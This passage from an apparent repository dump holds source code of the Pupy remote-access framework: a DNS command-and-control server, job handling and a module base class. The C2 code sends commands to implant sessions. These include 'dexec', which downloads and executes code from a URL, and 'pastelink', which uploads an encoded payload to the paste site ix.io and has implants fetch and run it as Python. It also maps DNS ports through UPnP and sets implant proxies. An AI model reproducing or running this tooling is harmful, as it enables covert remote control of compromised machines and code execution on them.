default=default\n            )\n        elif uri.lower() in ('on', 'enable', 'yes'):\n            return self.add_command(\n                SetProxy('any', '0.0.0.0', 0),\n                session=node, default=default\n            )\n\n        if '://' not in uri:\n            uri = 'http://' + uri\n\n        parsed = urlparse(uri)\n        return self.add_command(\n            SetProxy(\n                parsed.scheme,\n                parsed.hostname,\n                parsed.port or 3128,\n                user=parsed.username,\n                password=parsed.password\n            ),\n            session=node, default=default\n        )\n\n    def dexec(self, url, action, proxy=False, node=None, default=None):\n        return self.add_command(\n            DownloadExec(url, action=action, proxy=proxy),\n            session=node, default=default\n        )\n\n    def pastelink(self, url, action, node=None, default=None):\n        return self.add_command(\n            PasteLink(url, action=action),\n            session=node, default=default\n        )\n\n    def find_nodes(self, node):\n        if not node:\n            return self.nodes.values()\n\n        results = []\n\n        if isinstance(node, basestring):\n            nodes = []\n\n            for n in node.split(','):\n                try:\n                    int(n, 16)\n                    nodes.append(n)\n                except:\n                    for tagged in self.config.by_tags(n):\n                        nodes.append(tagged)\n\n                    if nodes:\n                        results = super(PupyDnsCommandServerHandler, self).find_nodes(\n                            ','.join(nodes))\n\n        return results\n\n    def find_sessions(self, spi=None, node=None):\n        if spi or node:\n            results = []\n            if self.config and node:\n                if isinstance(node, basestring):\n                    nodes = []\n                    for n in node.split(','):\n                        try:\n                            netaddr.IPAddress(n)\n                            nodes.append(n)\n                        except:\n                            try:\n                                int(n, 16)\n                                nodes.append(n)\n                            except:\n                                for tagged in self.config.by_tags(n):\n                                    nodes.append(tagged)\n\n                    if nodes:\n                        results = super(PupyDnsCommandServerHandler, self).find_sessions(\n                            node=','.join(nodes))\n                    else:\n                        results = []\n\n            if spi:\n                if isinstance(spi, basestring):\n                    spis = []\n                    for s in spi.split(','):\n                        try:\n                            int(s, 16)\n                            spis.append(s)\n                        except:\n                            pass\n\n                    if spis:\n                        results += super(PupyDnsCommandServerHandler, self).find_sessions(\n                            spi=','.join(spis))\n        else:\n            results = super(PupyDnsCommandServerHandler, self).find_sessions()\n\n        return results\n\n\nclass PupyDnsCnc(object):\n    def __init__(\n            self, igd=None,\n            recursor=None,\n            config=None,\n            credentials=None,\n            listeners=None,\n            cmdhandler=None,\n            server=None,\n            pproxy=None\n        ):\n\n        credentials = credentials or Credentials()\n        config = config or PupyConfig()\n\n        self.config = config\n        self.credentials = credentials\n        self.igd = igd\n        self.listeners = listeners\n        self.handler = cmdhandler\n        self.pproxy = pproxy\n        self.pupsrv = server\n\n        fdqn = self.config.get('pupyd', 'dnscnc').split(':')\n        domain = fdqn[0]\n        if len(fdqn) > 1:\n            port = int(fdqn[1])\n        else:\n            port = 53\n\n        listen = str(config.get('pupyd', 'address') or '0.0.0.0')\n\n        recursor = config.get('pupyd', 'recursor')\n        if recursor and recursor.lower() in ('no', 'false', 'stop', 'n', 'disable'):\n            recursor = None\n\n        self.dns_domain = domain\n        self.dns_port = port\n        self.dns_listen = listen\n        self.dns_recursor = recursor\n        self.dns_handler = PupyDnsCommandServerHandler(\n            domain, (\n                credentials['DNSCNC_PRIV_KEY'],\n                credentials['DNSCNC_PRIV_KEY_V2']\n            ),\n            recursor=recursor,\n            config=self.config,\n            server=self\n        )\n\n        if self.pproxy:\n            try:\n                self.server = self.pproxy.dns(self.dns_handler, domain)\n            except Exception as e:\n                logging.exception(e)\n        else:\n            self.server = DnsCommandServer(\n                self.dns_handler,\n                address=listen,\n                port=int(port)\n            )\n\n            if self.igd and self.igd.available:\n                self.igd.AddPortMapping(53, 'UDP', int(port))\n                self.igd.AddPortMapping(53, 'TCP', int(port))\n\n        self.server.start()\n\n    def stop(self):\n        self.server.stop()\n\n    def list(self, node=None):\n        return self.dns_handler.find_sessions(node=node) \\\n          or self.dns_handler.find_sessions(spi=node)\n\n    def nodes(self, node):\n        return self.dns_handler.find_nodes(node)\n\n    def connect(self, host, port, transport, hostname=None, node=None, default=False):\n        if port:\n            port = int(port)\n\n        if not all([host, port, transport]):\n            listeners = self.listeners()\n            if not listeners:\n                raise ValueError(\n                    'No active listeners. Host, port and transport shoul be explicitly specified')\n\n            listener = None\n            local = False\n\n            if transport:\n                listener = listeners.get(transport)\n                if not listener:\n                    raise ValueError('Listener for transport {} not found'.format(transport))\n\n            else:\n                for candidate in listeners.itervalues():\n                    if not candidate.local or (port and (\n                            candidate.port == port or candidate.external_port == port)):\n                        listener = candidate\n                        break\n\n                if not listener:\n                    listener = next(iter(listeners.values()))\n                    if listener.port == 0:\n                        local = False\n                    else:\n                        local = True\n\n            if not listener:\n                raise ValueError('No listeners found')\n\n            if local:\n                _port = get_listener_port(self.config, external=True)\n                _host, local = get_listener_ip_with_local(\n                    config=self.config, external=True, igd=self.igd)\n\n                if local:\n                    raise ValueError(\n                        'External host:port not found. '\n                        'Please explicitly specify either port or host, port and transport.')\n\n                host = host or _host\n                port = port or _port\n                transport = listener.name\n            else:\n                host = host or listener.external\n                port = port or listener.external_port\n                transport = listener.name\n\n            if self.cmdhandler:\n                self.cmdhandler.display_success('Connect: Transport: {} Host: {} Port: {}'.format(\n                    transport, host, port))\n\n        return self.dns_handler.connect(\n            host, port, transport, hostname,\n            node=node,\n            default=default\n        )\n\n    def scan(self, *args, **kwargs):\n        return self.dns_handler.scan(*args, **kwargs)\n\n    def onlinestatus(self, **kwargs):\n        return self.dns_handler.onlinestatus(**kwargs)\n\n    def disconnect(self, **kwargs):\n        return self.dns_handler.disconnect(**kwargs)\n\n    def exit(self, **kwargs):\n        return self.dns_handler.exit(**kwargs)\n\n    def sleep(self, *args, **kwargs):\n        return self.dns_handler.sleep(*args, **kwargs)\n\n    def reexec(self, **kwargs):\n        return self.dns_handler.reexec(**kwargs)\n\n    def reset(self, **kwargs):\n        return self.dns_handler.reset_commands(**kwargs)\n\n    def dexec(self, *args, **kwargs):\n        return self.dns_handler.dexec(*args, **kwargs)\n\n    def proxy(self, *args, **kwargs):\n        return self.dns_handler.proxy(*args, **kwargs)\n\n    def pastelink(self, content=None, output=None, url=None,\n                  action='pyexec', node=None, default=False, legacy=False):\n\n        if not (content or url):\n            raise ValueError('content and url and output args are empty')\n\n        if content and url:\n            raise ValueError('both content and url are selected')\n\n        if content:\n            content_path = path.expanduser(path.expandvars(content))\n            if not path.exists(content_path):\n                raise ValueError('no such file: {}'.format(content_path))\n\n            payload = b''\n            # TODO: add more providers\n            with open(content_path, 'rb') as content:\n                payload = self.dns_handler.encode_pastelink_content(\n                    content.read(), self.dns_handler.ENCODER_V1 \\\n                    if legacy else self.dns_handler.ENCODER_V2)\n\n            if not output:\n                response = requests.post('http://ix.io', data={'f:1':payload})\n                if response.ok:\n                    url = response.content.strip()\n\n                    if not url:\n                        raise ValueError('couldn\\'t create pastelink url')\n            else:\n                with open(output, 'wb') as output_file:\n                    output_file.write(payload)\n\n\n        if self.cmdhandler:\n            self.cmdhandler.display_success('Pastelink: {} Action: {} Legacy: {}'.format(\n                'file: {}'.format(output) if output else 'url: {}'.format(url),\n                action, legacy))\n\n        count = 0\n        if not output:\n            count = self.dns_handler.pastelink(url, action, node=node, default=default)\n\n        return count, url\n\n    @property\n    def policy(self):\n        return {\n            'interval': self.dns_handler.interval,\n            'timeout': self.dns_handler.timeout,\n            'kex': self.dns_handler.kex,\n        }\n\n    def set_policy(self, *args, **kwargs):\n        return self.dns_handler.set_policy(*args, **kwargs)\n\n    @property\n    def dirty(self):\n        count = 0\n        for session in self.dns_handler.find_sessions():\n            if session.commands:\n                count += 1\n        return count\n\n    @property\n    def count(self):\n        return len(self.dns_handler.sessions)\n\n    @property\n    def commands(self):\n        return self.dns_handler.commands\n\n    @property\n    def node_commands(self):\n        return self.dns_handler.node_commands\n"
  },
  {
    "path": "pupy/pupylib/PupyErrors.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nclass PupyModuleExit(BaseException):\n    pass\n\nclass PupyModuleError(BaseException):\n    pass\n\nclass PupyModuleUsageError(BaseException):\n    pass\n\nclass PupyModuleDisabled(ValueError):\n    pass\n\nclass PupyModuleNotFound(ValueError):\n    pass\n"
  },
  {
    "path": "pupy/pupylib/PupyJob.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport threading\nimport inspect\nimport ctypes\nimport logging\n\nfrom .PupyErrors import PupyModuleError, PupyModuleExit\nfrom .PupyConfig import PupyConfig\nfrom .PupyOutput import Info, Warn\nfrom .PupyTriggers import ON_JOB_EXIT, event\n\nfrom pupy.network.lib.rpc import AsyncResultTimeout\n\n\n#original code for interruptable threads from http://tomerfiliba.com/recipes/Thread2/\ndef _async_raise(tid, exctype):\n    \"\"\"raises the exception, performs cleanup if needed\"\"\"\n    if not inspect.isclass(exctype):\n        raise TypeError(\"Only types can be raised (not instances)\")\n    res = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), ctypes.py_object(exctype))\n    if res == 0:\n        raise ValueError(\"invalid thread id\")\n    elif res != 1:\n        # \"\"\"if it returns a number greater than one, you're in trouble,\n        # and you should call it again with exc=NULL to revert the effect\"\"\"\n        ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), None)\n        raise SystemError(\"PyThreadState_SetAsyncExc failed\")\n\nclass Thread(threading.Thread):\n    def _get_my_tid(self):\n        \"\"\"determines this (self's) thread id\"\"\"\n        if not self.is_alive():\n            raise threading.ThreadError(\"the thread is not active\")\n\n        # do we have it cached?\n        if hasattr(self, \"_thread_id\"):\n            return self._thread_id\n\n        # no, look for it in the _active dict\n        for tid, tobj in threading._active.items():\n            if tobj is self:\n                self._thread_id = tid\n                return tid\n\n        raise AssertionError(\"could not determine the thread's id\")\n\n    def raise_exc(self, exctype):\n        \"\"\"raises the given exception type in the context of this thread\"\"\"\n        _async_raise(self._get_my_tid(), exctype)\n\n    def stop(self):\n        \"\"\"raises SystemExit in the context of the given thread, which should\n        cause the thread to exit silently (unless caught)\"\"\"\n        self.raise_exc(KeyboardInterrupt)\n\nclass ThreadPool(object):\n    def __init__(self):\n        self.thread_pool = []\n        self.interrupt = threading.Event()\n\n    def apply_async(self, func, args):\n        t = Thread(target=func, args=args)\n        t.daemon = True\n        self.thread_pool.append(t)\n        t.start()\n\n    def interrupt_all(self):\n        self.interrupt.set()\n        for t in self.thread_pool:\n            if t.is_alive():\n                t.stop()\n\n    def interrupt(self):\n        self.interrupt.set()\n\n    def join(self, timeout=5, on_interrupt=None):\n        allok = True\n\n        while True:\n            try:\n                if self.interrupt.is_set():\n                    allok = on_interrupt()\n                    break\n\n                allok = True\n                for t in self.thread_pool:\n                    if t.is_alive():\n                        t.join(timeout)\n                        allok = False\n\n                if allok:\n                    break\n\n            except KeyboardInterrupt:\n                self.interrupt.set()\n\n        return allok\n\n    def all_finished(self):\n        for t in self.thread_pool:\n            if t.is_alive():\n                return False\n\n        return True\n\nclass PupyJob(object):\n    \"\"\" a job handle a group of modules \"\"\"\n\n    def __init__(self, pupsrv, module, name, args):\n        self.name = name\n        self.args = args\n        self.pupsrv = pupsrv\n        self.handler = pupsrv.handler\n        self.config = pupsrv.config or PupyConfig()\n        self.pupymodules = []\n        self.worker_pool = ThreadPool()\n        self.started = threading.Event()\n        self.error = None\n        self.jid = None\n        self.destroyed = False\n        self.id = None\n        self.interrupted = False\n\n    @property\n    def module(self):\n        return type(self.pupymodules[0])\n\n    @property\n    def clients(self):\n        return [\n            x.client for x in self.pupymodules\n        ]\n\n    def add_module(self, mod):\n        self.pupymodules.append(mod)\n\n    def stop(self):\n        for p in self.pupymodules:\n            p.stop_daemon()\n\n        self.pupsrv.del_job(self.jid)\n        self.interrupt()\n\n    def module_worker(self, module, once):\n        e = None\n\n        try:\n            module.import_dependencies()\n            module.init(self.args)\n            module.run(self.args)\n\n        except PupyModuleExit as e:\n            self.error = e\n            return\n\n        except PupyModuleError as e:\n            self.error = e\n            if not self.interrupted:\n                module.error(e)\n\n        except KeyboardInterrupt:\n            pass\n\n        except Exception as e:\n            import logging\n            logging.exception(e)\n\n            self.error = e\n            if not self.interrupted:\n                module.error(e)\n\n        finally:\n            if not self.interrupted and once:\n                module.clean_dependencies()\n\n            module.closeio()\n\n            if self.id is not None:\n                kwargs = dict(module.client.desc)\n                kwargs.update({\n                    'jid': self.id,\n                    'exception': e,\n                    'interrupted': self.interrupted\n                })\n\n                event(ON_JOB_EXIT, module.client, self.pupsrv, **kwargs)\n\n                if e:\n                    self.pupsrv.info('<jid={}/cid={}> - error: {}'.format(self.id, module.client.id, e))\n                elif self.interrupted:\n                    self.pupsrv.info('<jid={}/cid={}> interrupted'.format(self.id, module.client.id))\n                else:\n                    self.pupsrv.info('<jid={}/cid={}> done'.format(self.id, module.client.id))\n\n    def start(self, once=False):\n        #if self.started.is_set():\n        #    raise RuntimeError(\"job %s has already been started !\"%str(self))\n\n        for m in self.pupymodules:\n\n            res = m.is_compatible()\n            if type(res) is tuple:\n                comp, comp_exp = res\n            elif res is None:\n                comp = True\n                comp_exp = \"\"\n            else:\n                comp=res\n                comp_exp = \"reason not precised\"\n\n            if not comp:\n                m.error(\"Compatibility error : %s\"%comp_exp)\n                continue\n\n            self.worker_pool.apply_async(self.module_worker, (m, once))\n\n        self.started.set()\n\n    def interrupt(self):\n        if not self.started:\n            raise RuntimeError(\"can't interrupt. job %s has not been started\"%str(self))\n\n        if self.interrupted:\n            return True\n\n        self.interrupted = True\n        supported = True\n\n        #calling the interrupt method is one is defined for the module instead of killing the thread\n        if hasattr(self.pupymodules[0], 'interrupt'):\n            for m in self.pupymodules:\n                try:\n                    m.interrupt()\n                except NotImplementedError:\n                    supported = False\n        else:\n            supported = False\n\n        if supported:\n            self.handler.display(Info('Interrupt request sended'))\n            return True\n\n        else:\n            self.pupsrv.info(\n                Warn('Module does not support interrupts. Resources may leak!'))\n            self.worker_pool.interrupt_all()\n            self.check()\n            return False\n\n    def interactive_wait(self):\n        self.worker_pool.join(on_interrupt=self.interrupt)\n\n        if self.error:\n            return True\n\n        return False\n\n    def check(self):\n        for m in self.pupymodules:\n            while True:\n                if not m.client:\n                    break\n\n                try:\n                    m.client.conn._conn.ping(timeout=2)\n                    break\n\n                except KeyboardInterrupt:\n                    continue\n\n                except (AsyncResultTimeout, ReferenceError, EOFError) as e:\n                    logging.error('connection {} seems blocked ({}), reinitialising...'.format(\n                        m.client.short_name(), e))\n\n                    try:\n                        m.client.conn._conn.close()\n                    except (AsyncResultTimeout, ReferenceError, EOFError):\n                        pass\n\n                    break\n\n    def is_finished(self):\n        return self.worker_pool.all_finished()\n\n    def free(self):\n        if self.destroyed:\n            return\n\n        self.destroyed = True\n\n        del self.pupymodules[:]\n        del self.pupymodules\n\n    def __len__(self):\n        return len(self.pupymodules)\n\n    def __str__(self):\n        name = self.name\n        if self.id:\n            name = '{} (id={})'.format(name, self.id)\n        return name\n"
  },
  {
    "path": "pupy/pupylib/PupyLogger.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport logging\n\nlogger = logging.getLogger('pupy')\ndef getLogger(name):\n    return logger.getChild(name)\n"
  },
  {
    "path": "pupy/pupylib/PupyModule.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n# THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport textwrap\nimport time\nimport os\nimport json\nimport struct\nimport math\nimport argparse\nimport sys\n\nfrom io import open\n\nfrom .PupyErrors import PupyModuleExit, PupyModuleUsageError\nfrom .PupyCompleter import PupyModCompleter, void_completer, list_completer\nfrom .PupyConfig import PupyConfig\nfrom .PupyOutput import (\n    Text, NewLine, Error, Warn, Success,\n    Info, Table, TruncateToTerm\n)\n\nfrom pupy.pupylib.utils.term import (\n    as_term_bytes, deep_as_bytes, remove_esc,\n    DEFAULT_MULTIBYTE_CP\n)\n\nfrom pupy.pupylib import getLogger\n\nfrom pupy.network.lib.compat import with_metaclass\n\nif sys.version_info.major > 2:\n    unicode = str\n    basestring = str\n\n    def json_string(x):\n        if isinstance(x, bytes):\n            x = x.decode(DEFAULT_MULTIBYTE_CP)\n\n        return x\nelse:\n    def json_string(x):\n        if isinstance(x, unicode):\n            x = x.encode(DEFAULT_MULTIBYTE_CP)\n\n        return x\n\n\nREQUIRE_NOTHING  = 0\nREQUIRE_STREAM   = 1\nREQUIRE_REPL     = 2\nREQUIRE_TERMINAL = 3\n\nQA_STABLE = 0\nQA_UNSTABLE = 1\nQA_DANGEROUS = 2\n\nlogger = getLogger('module')\n\n\nclass IgnoreModule(Exception):\n    pass\n\n\nclass PupyArgumentParserWrap(object):\n    def __init__(self, base, wrapped):\n        self.base = base\n        self.wrapped = wrapped\n\n    def __call__(self, *args, **kwargs):\n        self.wrapped.__call__(*args, **kwargs)\n\n    def __getattr__(self, name):\n        BASE = self.base\n        original = getattr(self.wrapped, name)\n\n        if name in ('add_argument_group', 'add_mutually_exclusive_group'):\n            def add_group(*args, **kwargs):\n                group = original(*args, **kwargs)\n                return PupyArgumentParserWrap(BASE, group)\n\n            return add_group\n\n        elif name == 'add_argument':\n            def add_argument(*args, **kwargs):\n                if 'completer' in kwargs:\n                    completer_func = kwargs.pop('completer')\n                elif 'choices' in kwargs:\n                    completer_func = list_completer(kwargs['choices'])\n                else:\n                    completer_func = void_completer\n\n                result = original(*args, **kwargs)\n\n                kwargs['completer'] = completer_func\n                completer = BASE.get_completer()\n\n                for a in args:\n                    if a.startswith('-'):\n                        completer.add_optional_arg(a, **kwargs)\n                    else:\n                        completer.add_positional_arg(a, **kwargs)\n\n                return result\n\n            return add_argument\n        else:\n            return original\n\n\nclass PupyArgumentParserRef(argparse._ActionsContainer):\n    def add_argument(self, *args, **kwargs):\n        completer_func = None\n\n        if 'completer' in kwargs:\n            completer_func = kwargs.pop('completer')\n        elif 'choices' in kwargs:\n            completer_func = list_completer(kwargs['choices'])\n        else:\n            completer_func = void_completer\n\n        arg = super(PupyArgumentParserRef, self).add_argument(*args, **kwargs)\n\n        kwargs['completer'] = completer_func\n        completer = self.get_completer()\n\n        for a in args:\n            if a.startswith('-'):\n                completer.add_optional_arg(a, **kwargs)\n            else:\n                completer.add_positional_arg(a, **kwargs)\n\n        return arg\n\n    def add_argument_group(self, *args, **kwargs):\n        return PupyArgumentParserWrap(\n            self,\n            super(\n                PupyArgumentParserRef, self\n            ).add_argument_group(*args, **kwargs)\n        )\n\n    def add_mutually_exclusive_group(self, *args, **kwargs):\n        return PupyArgumentParserWrap(\n            self,\n            super(\n                PupyArgumentParserRef, self\n            ).add_mutually_exclusive_group(*args, **kwargs)\n        )\n\n    def get_completer(self):\n        if hasattr(self, 'pupy_mod_completer') and \\\n                self.pupy_mod_completer is not None:\n            return self.pupy_mod_completer\n        else:\n            self.pupy_mod_completer = PupyModCompleter(self)\n            return self.pupy_mod_completer\n\n\nclass PupyArgumentParser(argparse.ArgumentParser, PupyArgumentParserRef):\n    def __init__(self, *args, **kwargs):\n        if 'formatter_class' not in kwargs:\n            kwargs['formatter_class'] = argparse.RawDescriptionHelpFormatter\n        if 'description' in kwargs and kwargs['description']:\n            kwargs['description'] = textwrap.dedent(kwargs['description'])\n\n        argparse.ArgumentParser.__init__(self, *args, **kwargs)\n\n    def exit(self, status=0, message=None):\n        raise PupyModuleExit(message, status)\n\n    def error(self, message):\n        raise PupyModuleUsageError(self.prog, message, self.format_usage())\n\n\nclass Log(object):\n    def __init__(\n        self, out, log, consize, rec=None,\n            command=None, title=None, unicode=False, stream=False):\n\n        self.out = out\n        self.log = log\n        self.rec = None\n\n        if rec in ('asciinema', 'asciinema1', 'ttyrec'):\n            self.rec = rec\n\n        self.last = 0\n        self.start = 0\n        self.unicode = unicode\n        self.closed = False\n        self.stream = stream\n        self.is_stream = self.stream\n\n        initial_payload = None\n\n        if self.rec == 'asciinema1':\n            height, width = consize\n\n            initial_payload = '{{' \\\n                '\"command\":{},\"title\":{},\"env\":null,\"version\":1,' \\\n                '\"width\":{},\"height\":{},\"stdout\":['.format(\n                    json.dumps(command), json.dumps(title),\n                    width, height\n                )\n\n            self.start = time.time()\n        if self.rec == 'asciinema':\n            height, width = consize\n            ts = time.time()\n\n            initial_payload = json.dumps({\n                'version': 2,\n                'width': width,\n                'height': height,\n                'timestamp': ts,\n                'title': title,\n                'env': {\n                    'SHELL': os.environ.get('SHELL'),\n                    'TERM': os.environ.get('TERM'),\n                }\n            }) + '\\n'\n            self.last = self.start = ts\n        elif self.rec == 'ttyrec':\n            self.last = time.time()\n        else:\n            if command:\n                initial_payload = '> ' + command + '\\n'\n\n        if initial_payload is not None:\n            if not self.unicode and not isinstance(initial_payload, bytes):\n                initial_payload = initial_payload.encode(DEFAULT_MULTIBYTE_CP)\n\n            self.log.write(initial_payload)\n\n    def write(self, data):\n        if self.closed:\n            return\n\n        if not data:\n            return\n\n        self.out.write(data)\n\n        data = as_term_bytes(data, width=32768)\n        if not self.stream:\n            data += b'\\n'\n\n        now = time.time()\n        delay = (now - self.last) if self.last else 0\n        duration = now - self.start\n        self.last = now\n\n        if self.rec == 'ttyrec':\n            usec, sec = math.modf(now)\n            usec = int(usec * 10**6)\n            sec = int(sec)\n            data = struct.pack('<III', sec, usec, len(data)) + data\n\n        elif self.rec == 'asciinema':\n            data = json.dumps([\n                duration, 'o', json_string(data)\n            ]) + '\\n'\n\n        elif self.rec == 'asciinema1':\n            data = json.dumps([duration, json_string(data)])\n            if delay:\n                data = ',' + data\n\n        else:\n            data = remove_esc(data)\n\n        if self.unicode and isinstance(data, bytes):\n            data = data.decode(DEFAULT_MULTIBYTE_CP, errors='ignore')\n\n        self.log.write(data)\n        self.log.flush()\n\n    def flush(self):\n        if self.closed:\n            return\n\n        self.out.flush()\n        self.log.flush()\n\n    def close(self):\n        if self.closed:\n            return\n\n        if self.rec == 'asciinema1':\n            self.log.write('],\"duration\":{}}}'.format(\n                time.time() - self.start\n            ))\n\n        self.log.close()\n        self.closed = True\n\n    def isatty(self):\n        return self.out.isatty()\n\n    def getvalue(self):\n        value = self.out.getvalue()\n\n        if not self.closed:\n            self.log.flush()\n\n        return value\n\n    def fileno(self):\n        return self.out.fileno()\n\n    def truncate(self, size=0):\n        if self.closed:\n            return\n\n        self.out.truncate(size)\n        self.log.flush()\n\n    def readline(self, size=None):\n        return self.out.readline(size)\n\n    def readlines(self, size=None):\n        return self.out.readlines(size)\n\n    def read(self, size=None):\n        return self.out.read(size)\n\n\nclass PupyModuleMetaclass(type):\n    def __init__(self, *args, **kwargs):\n        super(PupyModuleMetaclass, self).__init__(*args, **kwargs)\n        self.init_argparse()\n\n\nclass PupyModule(with_metaclass(PupyModuleMetaclass)):\n    \"\"\"\n        This is the class all the pupy scripts must inherit from\n        daemon_script -> script that will continue running in background once started\n    \"\"\"\n\n    # QA - Safeness of the module\n    qa = QA_STABLE\n\n    # Interaction requirements\n    io = REQUIRE_NOTHING\n\n    # if your module is meant to run in background,\n    # set this to True and override the stop_daemon method.\n    daemon = False\n\n    # if True, don't start a new module and use another instead\n    unique_instance = False\n\n    # dependencies to push on the remote target. same\n    # as calling self.client.load_package\n    dependencies = []\n\n    # Should be aliased by default\n    is_module = True\n\n    # should be changed by decorator @config\n    compatible_systems = []\n\n    # to sort modules by categories. should be changed by decorator @config\n    category = \"general\"\n\n    # to add search keywords. should be changed by decorator @config\n    tags = []\n\n    # stream record\n    rec = None\n\n    known_args = False\n    web_handlers = []\n\n    def __init__(self, client, job, io, log=None):\n        \"\"\" client must be a PupyClient instance \"\"\"\n        self.client = client\n        self.job = job\n        self.new_deps = []\n        self.log_file = log\n        self.iogroup = io\n        self.stdin = io.stdin\n        self.stdout = io.stdout\n\n    @classmethod\n    def init_argparse(cls):\n        if cls.__name__ != 'PupyModule':\n            raise NotImplementedError('init_argparse() must be implemented')\n\n    @classmethod\n    def parse(cls, cmdline):\n        if cls.known_args:\n            args, unknown_args = cls.arg_parser.parse_known_args(cmdline)\n            args.unknown_args = unknown_args\n            return args\n        else:\n            args = cls.arg_parser.parse_args(cmdline)\n\n        args.original_cmdline = cmdline\n        return args\n\n    def init(self, args):\n        self.iogroup.set_title(self)\n\n        if self.client and (\n                self.config.getboolean('pupyd', 'logs') or self.log_file):\n\n            replacements = {\n                '%c': self.client.short_name(),\n                '%m': self.client.desc['macaddr'],\n                '%M': self.get_name(),\n                '%p': self.client.desc['platform'],\n                '%a': self.client.desc['address'],\n                '%h': self.client.desc['hostname'],\n                '%u': self.client.desc['user'],\n                '%t': time.time(),\n            }\n\n            if self.log_file:\n                for k, v in replacements.items():\n                    log = self.log_file.replace(k, str(v))\n            else:\n                log = self.config.get_file('logs', replacements)\n\n   